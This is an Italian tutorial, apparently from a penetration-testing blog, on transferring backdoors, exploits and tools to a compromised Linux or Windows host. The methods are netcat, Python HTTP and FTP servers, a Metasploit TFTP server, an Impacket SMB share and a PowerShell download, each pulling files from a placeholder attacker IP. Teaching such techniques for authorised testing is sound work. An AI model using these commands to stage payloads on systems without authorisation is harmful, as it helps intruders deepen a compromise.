Dopo parecchi tentativi siamo finalmente riusciti ad ottenere un shell completa sull’host da compromettere, riusciamo ad eseguire comandi e compilare i programmi, ma la vittima non ha accesso a internet e dobbiamo passare file sulla macchina compromessa. Come ci comportiamo?
Durante dei penetration test è possibile che capiti di dover trasferire file sull’host compromesso, ad esempio backdoor, exploit o tool che ci possono servire per analizzare e compromettere delle reti interne. In questo articolo andremo ad analizzare i metodi più efficaci per trasferire dei file tramite la rete, sia su macchine Linux che su Windows.
Uno dei metodi che prediligo, seppure banale e prono ad errori, è quello di utilizzare sulla macchina attaccante netcat, mentre sulla vittima wget (o curl). La connessione è molto semplice
┌─[mrtouch@parrot]─[~]
└──╼ $cat dirty.c | nc -lp 4444
Con questo comando sto inviando il file sulla porta 4444 a chiunque si connetta sul mio server TCP aperto con netcat. Sulla macchina vittima eseguirò
wget IP-attaccante:4444 -O dirty.c
Un metodo più elegante è quello di creare un server con python e scaricare, tramite browser o da riga di comando, il file reso disponibile dalla macchina attaccante. Python ha un comando semplicissimo per fare ciò, che è
┌─[mrtouch@parrot]─[~]
└──╼ $python -m SimpleHTTPServer 8888
Una volta eseguito, dall’host vittima basta aprire il browser (o usare il terminale), andare sulla porta 8888 dell’attaccante e scaricare il file. Per poter rendere disponibile il file, ricordatevi che il server dev’essere avviato dalla cartella in cui si trova!
Sempre sulla scia della scorsa modalità, python mette a disposizione anche un server FTP. Molto simile al comando scorso, l’attaccante rende disponibile il file sulla porta 21
┌─[mrtouch@parrot]─[~]
└──╼ $python -m pyftpdlib -p 21
Dalla macchina vittima basterà connettersi da browser o tramite il comando
ftp IP-attaccante
con user:anonymous e password vuota
Un’altra modalità, molto simile al primo metodo, è quella di non usare il comando cat ma inviare il file direttamente da netcat. Questo è possibile grazie all’utilizzo della redirezione dell’output di Linux (simbolo <). L’attaccante esegue
┌─[mrtouch@parrot]─[~/server]
└──╼$nc IP-vittima 5555 < dirty.c
mentre la vittima si mette in ascolto
nc -lvp 5555 > dirty.c
Questa modalità è praticamente l’inverso del primo metodo, in quanto stavolta è la vittima a mettersi in ascolto e l’attaccante invia il file all’indirizzo IP specificato.
Il metodo numero due precedentemente illustrato funziona ovviamente anche con un host Windows, basta utilizzare il browser.
Come prima, i comandi sono esattamente gli stessi. Attaccante,
┌─[mrtouch@parrot]─[~/server]
└──╼ $python -m pyftpdlib -p 21
Vittima
ftp IP-attaccante
Metasploit mette a disposizione un comodo server TFTP che permette di scaricare i file da Windows. Nelle nuove versioni di Windows non è disponibile di default, ma per poter eseguire il comando di download/upload basta digitare
pkgmgr /iu:"TFTP"
e verrà abilitato il tool tftp.
Il modulo di metasploit è auxiliary/server/tftp e l’unica opzione obbligatoria è la cartella che si andrà a rendere disponibile contenente i file.
Grazie ad Impacket possiamo creare un server SMB su Linux e condividere i file con un server SMB. Una volta installato si può avviare il server con il comando
┌─[mrtouch@parrot]─[~/server]
└──╼ $sudo smbserver.py SHRNAME smbfiles/
dove smbfiles è la cartella che vogliamo condividere sulla rete. Una volta avviato, sulla macchina Windows potremo visionare i file e scaricarli, tramite i seguenti comandi
C:> net view \\IP-attaccante
C:>dir \\IP\SHRNAME
C:>copy \\IP\SHRNAME\file.exe
Metodo abbastanza particolare, ma utile nel caso in cui non si possa usare il browser e non si riesca ad ottenere i files. Da Linux eseguiamo sempre
┌─[✗]─[mrtouch@parrot]─[~/server]
└──╼ $python -m SimpleHTTPServer 8080
mentre da Windows eseguiremo il seguente comando
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://IP-attaccante\file.exe','C:\Users\wind7\Desktop\file.exe')"
La domanda che magari ci si potrebbe porre è quale dei metodi elencati è il migliore, ma la risposta è….dipende. Dipende dalla shell creata, dipende dall’infrastruttura in cui si è e dalla presenza o meno di firewall che potrebbero bloccare certi tipi di connessioni. Alcuni approfondimenti si possono comunque trovare a questo e questo link.